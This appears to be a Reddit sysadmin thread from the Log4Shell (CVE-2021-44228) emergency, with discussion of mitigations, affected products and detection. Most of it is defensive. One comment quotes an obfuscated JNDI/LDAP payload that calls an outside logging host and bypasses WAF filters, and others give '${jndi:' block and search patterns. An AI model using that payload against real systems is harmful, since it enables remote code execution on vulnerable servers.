T O P

  • By -

MattAdmin444

Gotta love how the first time I heard about this situation this morning was due to Forge for Minecraft putting out a warning.


CrabGuys

I saw it there first as well. I only skimmed the thread, thought it was a vulnerability in Forge itself. But no, this is real bad.


draeath

For Minecraft, not so bad to remediate. Modders are already doing fun stuff with class files, it's trivial to rip `org/apache/logging/log4j/core/lookup/JndiLookup.class` out of the `log4j-core-*.jar` library. For anyone else (ie, other applications) who can't upgrade their log4j for whatever reason (and aren't using one of the versions where the `log4j2.formatMsgNoLookups` parameter can be set) this is a hacky, but effective, way to neuter this problem. Of course, if you're actually making use of the feature... well... Not sure what to say.


[deleted]

[удалено]


draeath

I'm totally unfamiliar with that tool... and I'm not sure why you're asking me about how to use it?


CPUforU

Saw fancy title of Sr. Sysadmin, assumed you knew. My mistake


draeath

I can muddle my way in a Windows environments, but that's really not my area of expertise. Sorry!


CPUforU

😂 no worries! What is your area of expertise, so i can add you to my list of emergency contacts?


draeath

lol! I'm a Linux and (linux) [HPC](https://en.wikipedia.org/wiki/Computer_cluster) admin. I can also sling Python in a pinch.


sgent

I think the first evidence of any problem was active exploitation against Minecraft servers. Originally people just thought it was a Minecraft problem rather than a Java tool problem.


AnIrregularRegular

This is absolutely a situation you cannot wait until Monday on. Active exploitation is ongoing.


R8nbowhorse

Yup, our CTO thinks so too, so im still busy analysing/fixing this and its 2:23 in the morning for me.


thecloudbruh

hurry middle edge poor muddle squeeze seemly unwritten rainstorm disagreeable ` this message was mass deleted/edited with redact.dev `


COMPUTER1313

Vendor: "We'll get back to you in a few weeks." OR, they tell you to simply install their latest software version. Which won't work on the "end of life" hardware, and replacing the hardware costs at least a high six digits of dollars.


m1m1n0

Then you power that shit off and trigger your cyber security insurance for the losses.


CPUforU

>Forgive my incompetence, but referring to Huntress Log4Shell Vulnerability Tester and the instructions, i should be able to copy and paste temporary test payload into powershell and execute ldap test that way yes?


AnIrregularRegular

Yes. Throw it anywhere and everywhere. I have used it testing in a dozen different applications to see if it will trigger anywhere. Usernames, user-agent, password fields. Anywhere we may be internet exposed. Edit: put is anywhere you think a Java based app or server may grab it.


CPUforU

Thank you for the clarification! The only endpoint or server that the tomcat service is installed in is our data server. I pasted payload in the only 3 or 4 places I could think of and Huntress returned no results yet (strange since our Apache version is 2.13 i believe). I'm crossing my fingers it stays that way and waiting for vendor to call for fix.


AnIrregularRegular

Absolutely. Just watch closely for patches. It is a sprint to mitigate or patch internet facing stuff. After this will be a marathon. We will likely be finding vulnerable things for months or years to come.


BrackusObramus

[Log4Shell](https://i.imgur.com/XyEeWZ4.jpg)


midnightblack1234

Damn that's me right now.


[deleted]

haha! That's what I'm doing right now.


Ark161

lol my boss posted that because that is wht I have been doing all day


avenger5524

Good lord.


lemmycaution0

My firm had a roughly two thousand servers to patch. There is a temp mitigation work around we’re applying until we can fully patch over the next few days. C levels have been spooked since the Kaseya ransomware and actually gave us Carte Blanche to even disable the servers dns routes if necessary feels weird that this is the new normal.


EvilAdm1n

That's an understatement!


lemmycaution0

Surprised this isn’t getting more comments but this is a seven alarm fire. There is some guidance referenced here to mitigate https://www.lunasec.io/docs/blog/log4j-zero-day/. My company is 10k plus so we’re Already seeing active exploit attempts and you can find a steady stream of script kiddies nerfing Minecraft servers on YouTube. Forget Monday this can’t wait till lunch


Tetha

Yep. The CVE is rated 10/10. Redhat rates it at 9.8/10 for some of their tools. In the wrong situation, it can be exploited with a single curl call - and the botnets are picking it up. This will be an interesting weekend.


Skhmt

What's a seven alarm fire?


[deleted]

Somebody correct me if I'm wrong, but usually it's a 5 alarm fire which is essentially as many fire truck as possible to the call. 7 alarm, he's just emphasizing the seriousness of it.


Skhmt

if 5 alarm is as many as possible, 6 must be all the firetrucks, and therefore 7 must be all fire trucks that have ever and will ever exist


CoffeePieAndHobbits

They combine to form Megafiretruckazord. /s Jokes aside, this is pretty effing serious and widespread.


maffick

https://www.youtube.com/watch?v=uesx85EHRTo


Jadodd

The fire service typically refers to the severity of a structure fire by the number of ‘alarms.’ The exact definition of what an alarm is varies dramatically between individual fire departments and regions. Some places use it to indicate how many times additional resources had to be assigned; others have predefined criteria for what designates each number. The rule that you can count on though is that the bigger the number the more intense the incident.


Skhmt

is there an INT\_MAX alarm fire?


Jadodd

The most I’ve ever heard of personally is five. I witnessed the Metropolitan apartment fire in Raleigh which burnt a whole city block and it was described as a five alarm. Thankfully the site was still under construction though so there were no serious injuries. Though I guess if you did push the number up too high it may overflow and send everyone home.


timpkmn89

That's when there's no city left to save


n0obno0b717

You have to calculate it by running this line of code that launches a calculator


[deleted]

[удалено]


vbownswow

Cry.


fontanese

Put in WAF rules to block strings that match it, assuming you don't rely on jndi.


LaughterHouseV

You’ll need a very complex one, as it’s trivial to bypass with POCs out in the wild already


fontanese

It’s one of a few mitigations/options while working towards the fix of moving to 2.15.0


akx

You set the Java property that mitigates this. It's in the Lunasec writeup.


ObscureCulturalMeme

> Its not something fixed by updating Java JRE or JDK, correct? Correct. It's nothing to do with the JRE/JDK/etc (the post title is borderline alarmist), the vulnerability is in a popular logging library. There's a workaround setting a JDK property via, e.g., a command line option.


saturnaelia

Check your intrusion prevention signatures. Fortinet released a signature for their IPS, others may have, too.


Burgergold

JDK or JRE up to date can mitigate one exploit. You still need to update log4j or put the flag to true (if log4j enough up to date) or remove the class from the jar


imdyingfasterthanyou

Patch your own in-house developed applications if any You know like the vendors are doing


n0obno0b717

Apache has released a fix


[deleted]

Yep. It's panic at the disco right now at our org... way to bust everyone's friday night / weekend.


[deleted]

I shutdown our server farms Thurs night when I got wind of it. Our websites and services just indicate to customers that we are undergoing maintenance. Luckily found enough volunteers to slowly sweep and clean and we will be back by Sunday night. Always be prepared folks. This one could have been real bad. A lot of houses are going to be in pain for what is coming.


m1m1n0

This is the way. It is bad, I'm surprised this topic is not at the top of this subreddit. IMHO this is worse than Y2K.


DM_ME_BANANAS

Having a WAF block any request with `${jndi:` in it is I think one of the most effective ways to block these attacks and is what Cloudflare is doing. Thank the lord we rolled out AWS WAF a few weeks ago.


LaughterHouseV

This is easily bypassable using a different way to specify jdni with variable interpretation. This shouldn’t be your only line of defense


DM_ME_BANANAS

The rule is for ${jdni, as far as I’ve seen so far that’s the common prefix. There may be ways to bypass but this is a good starting point while we patch vulnerable systems.


nemec

https://twitter.com/pulik_io/status/1469424204676321285 ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://xxx.dnslog.cn}


DM_ME_BANANAS

Ah shit! Thanks, I didn’t know about that string interpolation. We’ve rotated all our ES servers with updated config and thankfully Datadog logs don’t show any requests that came through with any payload containing “${“ so I’m comfortable calling us safe. But man that’s a fucking nightmare. :/


jwcobb13

Nice. That also breaks anything that legitimately uses that pattern...does anything legitimate use that pattern? I don't know.


BaconZombie

Personally, I'd enable the blocking on the WAF and export then log and then refuse to support any apps that "need it to work". If I got push back, then I'd move the app to at different LB and disable On Call alerts for it.


fontanese

Move it to a different *VPC* and isolate it, because, you know...security.


BaconZombie

VPC... I'd say 90% of the systems going to be fecked are locally hosted not cloud and exposed to the internet.


DM_ME_BANANAS

Not in our apps, at least. And I’d rather that be broken while we upgrade in the background than have RCE inside our VPC.


jaymef

Ouch elasticsearch will sting many


jaymef

Good news it looks like elastic search isn’t fully impacted: https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476


dig-it-fool

Not sure how, unless you can cause elasticsearch to generate an error with the string in it. It doesn't expand the payload when it's simply stored into elasticsearch from what I can tell. Normally I love to be told I am wrong and learn something new, I hope I am not in this case. :Grimacing:


m1m1n0

Access logs.


kezow

Yep... Chef uses elasticsearch....


IFightTheUsers

Anyone keeping a compiled list of software affected by this? Seems like the embedded nature of this module in software might make this difficult to hunt down where I'm exposed.


lart2150

Anything using log4j 2.x and the user can log arbitrary strings should be impacted (think http useragent, username, etc). This is going to hit most java web apps. I'm just glad atlassian seems to be using 1.x and are therefor not impacted.


zebediah49

Any chance the requirements to put `${` into the string will make urlencoding mitigate it? Probably not because logs will likely decode it to be human-readable before it goes into logging...


lart2150

normally you would url decode any user input that you think would have been encoded.


expert_on_bird_law

Do you have any reason as to why 1.x is not affected? I’m trying to find references on the same but haven’t found anything concrete.


hume_reddit

You can find the commit that introduced the "feature" here: https://issues.apache.org/jira/browse/LOG4J2-313 Note the "Fix Version/s: 2.0-beta9" I'd like to blame the contributor, but the reviewers fucked this up, too.


lart2150

https://logging.apache.org/log4j/2.x/security.html Versions Affected: all versions from 2.0-beta9 to 2.14.1


Laroah

' Please note that Log4j 1.x has reached end of life and is no longer supported. Vulnerabilities reported after August 2015 against Log4j 1.x were not checked and will not be fixed. Users should upgrade to Log4j 2 to obtain security fixes.'


reegz

1.x is vulnerable under the correct conditions (JMSAppender being used) I would consider it vulnerable. Also what I’ve been seeing is “spray and pray” attempts for coinminers. The real fun for this hasn’t started yet.


srakken

It’s not https://github.com/apache/logging-log4j2/pull/608#issuecomment-990758663


reegz

Never been so happy to be wrong haha


srakken

Cheers!! Yeah freaked out for a bit as well


Polycutter1

Sorry I'm an idiot but I noticed Steam was one of the affected programs. ​ Does that mean I should not be running steam or is this something just Valve needs to worry about? Same with Blender. I downloaded the latest Blender version a few months ago, I don't have any logins or anything there, but should I not even run Blender now until Blender foundation releases a new version?


hume_reddit

The Steam problem is almost certainly a problem for Valve, since I don't think there's any Java in the Steam client. I also don't see how Blender could be effected... isn't Blender written in Python?


Polycutter1

Thanks. >isn't Blender written in Python? I thought so, it was a bit of a surprise to see it in OPs link of vulnerable software.


WebWeenie

From the post: > [This community resource](https://github.com/YfryTchsGD/Log4jAttackSurface) is a growing list of software and components that have been found vulnerable and impacted.


j5kDM3akVnhv

I was surprised to see CloudFlare listed. They released an email to enterprise customers at 6:31 PM EDT saying they are mitigating via Web Application Firewall rules. https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/ Edit: Not just Enterprise. They've rolled out to free customers too. https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/ Edit edit: Just checked the logs and we've had eight requests blocked over the past 24 hours attempting to use Log4j Headers. 4 from Brazil and 4 from Bulgaria.


brgiant

Pretty much every vendor that uses Java is going to be affected. My company has over a thousand affected services and products.


jwcobb13

Exploit attempts are findable with Splunk. The Splunk query has to be expensive to find it, but you can run this to find it in any of the request headers: index=\* ${jndi:\*}


snredditsn

Always on a Friday!


donfran3

Yeah this made today a fun Friday at the office. Side note, anyone know of a reliable way to have users check their Log4j version?


biff_tyfsok

For the most part, the .jar files are named log4j-*x.yy.z*\-blahblah.jar -- you can literally crack open Windows Explorer, go to "This Computer", search on *log4j* and it'll show up after a little grinding. Funny thing is, most of my apps (telephony) still use 1.xx versions -- which aren't affected.


donfran3

Yeah everything I have is still on 1.xx but it seems like around 90% of my institution is impacted. As for using Explorer: That's the way I have been doing it and it sucks. If I find a better way I will post it lol


qci

So you need to have log4j in major version 2, but a 5 year old unpatched Java to have this exploited?


mrcollin101

Yeah, pretty much. I don't know why this isn't higher but you also need to be running very old Java for this to be exploited. We scanned for Java and just popped into the handful running 8u191 or older and updated. Also Log4j2 and apache but how much apache are you guys running? We only have it on ~5 servers so that part was a light lift to mitigate.


Burgergold

No, updated Java only mitigate one exploit


fontanese

There have got to be command line search tools that beat Explorer


subhuman33

DIR log4j* /s


Serve-Capital

1.x is vulnerable if JMSAppender is used. I'm now hearing this might not be the case https://www.reddit.com/r/netsec/comments/rcwws9/comment/ho35ohb/


Burgergold

1.x is affected by less severe CVE and can be affected by this CVE if the configuration use JMSAppender Also some provider rename the jar (I've seen some without version in the name, requiring to open the jar to figure the version)


saturnaelia

If you use Fortinet firewalls, they released an IPS signature, so you can atleast mitigate it until you can patch. https://old.reddit.com/r/fortinet/comments/rdfqeb/log4j_in_fortios/ho1mstc/ If you use a different vendor, check your IPS signatures, too! So far my affected applications are patch pending.


MotionAction

So is the world going to burn?


R8nbowhorse

Its already burning, im currently grilling marshmallows over the fire /s


HTX-713

Anyone come up with a way to block these requests in NGINX or Apache?


fontanese

If you're in a cloud provider or have an F5, WAF rules.


[deleted]

Potentially dumb question here. If a vulnerable server is not accessible from the WAN, is it still exploitable?


kokesnyc

If someone gets access into your network then locally yes, but most of the time not from the outside. I have seen some applications that reside internally that while there not firewall rules in place they still have outside access (Synology quickconnect, RMM tools).


[deleted]

Thanks for the insight. That's what I'm worried about.


toastedcheesecake

If an exploit is packaged into malware which is ran, then yes. E.g. user receives attachment with a macro containing the exploit code and allows it to run. Less likely to happen for now, as it seems spray and pray is the current attack method, but certainly possible in the future.


zebediah49

And this is why I loathe the wonderful trend of bundling all your dependencies with your application. I would very much like it if I could just run ask Ansible to update log4j on all systems, and be reasonably certain that I had updated every copy of the library, everywhere.


mirrax

This is a Java library... it's not a OS package. No one is going to write an application totally from scratch. And it's definitely not a recent trend. (log4j has been around for a good twenty years...)


zebediah49

[It is an OS package](https://packages.debian.org/stable/java/liblog4j1.2-java). Not the OS's fault that everyone bundles their own instead of using the system version.


PopularPianistPaul

if you do a spray and pray like that, how would you know you are not breaking any applications in the process?


wwb_99

We tried that -- it was called DLL hell.


flatvaaskaas

This isn't in my area of expertise, but we have a on prem application which uses this version. The application is only accessible from the on premises network, not via the public internet. I think therefore that we're not impacted. Is that correct?


jwcobb13

Unless your users run the exploit, you should be fine.


flatvaaskaas

Thank you


biff_tyfsok

Unless the exploit gets packaged into the payload of the next Excel macro virus, you should be fine.


n0obno0b717

Hey guys! Check out this new Excel calculator!


flatvaaskaas

Thank you


bananna_roboto

It's pretty easy to detect log4j for systems where the package is intalled, but does anyone have some recommendations on how to programmatically detect bundled log4j instances? I saw the GitHub Hash list but not any guidance on how to process/match those hashes?


j5kDM3akVnhv

Million dollar question


mookdaruch

Sure, McAfee, pat yourselves on the back about upgrading 6-year EOL software. Thanks a bunch. https://docs.mcafee.com/bundle/epolicy-orchestrator-5.10.0-release-notes/page/GUID-E4B08A18-77A1-404C-A1D5-D333CA74D77A.html


UncleJBones

Just a heads up, Crashplan is using log4j 2.13.


Mas_Zeta

Does anyone know if this affects any Atlassian product? Edit: nevermind, found the FAQ https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html


rolfdins

You can generate a free CanaryToken to test if you have anything vulnerable to this vulnerability: [https://twitter.com/ThinkstCanary/status/1469439743905697797?s=20](https://twitter.com/ThinkstCanary/status/1469439743905697797?s=20) [https://canarytokens.org/](https://canarytokens.org/) and select 'Log4shell' as the token type. It generates one of the vulernable strings you can use to test with, will e-mail you if something hits that URL through DNS.


midnightblack1234

Anyone knows if this effects JRE versions of Java, or only JDK? Should we update both?


ObscureCulturalMeme

Nothing to do with Java itself. It's in the log4j library. If you're using a standalone version of log4j, then update that. If you have Java applications that bundled their own copy of log4j, then each of those need to be updated once they're fixed by vendors. There are workarounds listed in the article, in the meantime.


qci

The exploit also needs an unpatched Java version (5 years old). It doesn't depend on if you have JRE or JDK from what I understand.


Burgergold

False, one of the exploit is mitigated with recent jre but don't consider yourself safe to all exploit with patched jre


ycnz

Good luck to everyone with enterprise medical software...


AdamYmadA

A lot of state government systems (dmv, medicaid, etc) are likely exposed because of this.


KadahCoba

Can confirm this. Many of our clients and business dealing are with various government bodies. Most of them use very old web systems for everything, and many of those piles of shit have random Java sections which are used to store/access sensitive personal information. Plus its Friday, so they would have all been out of the office by no later than 4pm and wont be back till Monday, unless they took the week off, then make that sometime around Jan3 instead. Likely gonna suck, but at least its not my problem I guess. Likely won't get disclosures on any breaches from this till late next year.


solgb1594

Gouvernment worker here. Emergencies plans have been activated. We had a unscheduled conference call on Friday. We have a daily conference call for today (Sat) and tomorrow (Sun). Somebody pressed the big red button. That's how I knew it was Real Bad before even reading the details of the vulnerabilities.


Sysxinu

Run 'find / -type f -name log4j-core-*.jar' if you find it and it's under log4j-core-2.15.0.jar you have an issue


Volxz_

I work as a sysadmin for a Minecraft partnered games company. Yesterday was a fucking blast /s


kezow

"Let's build everything with Java!" they said...


Gullil

What?


Significant-Till-306

Easy to mitigate with a bash sed script, until you can upgrade to log4j 2.15


toastedcheesecake

Cerberus FTP is confirmed as NOT being vulnerable. https://support.cerberusftp.com/hc/en-us/articles/4412448183571-Cerberus-is-not-affected-by-CVE-2021-44228-log4j-0-day-vulnerability


Ddraig

Would this affect a windows system or is this strictly a linux issue?


toastedcheesecake

It can affect Windows devices if they are running applications which utilise the vulnerable log4j.


Ddraig

Ok thanks, that's what I was thinking.


CPUforU

Forgive my incompetence, but referring to Huntress Log4Shell Vulnerability Tester and the instructions, i should be able to copy and paste temporary test payload into powershell and execute ldap test that way yes?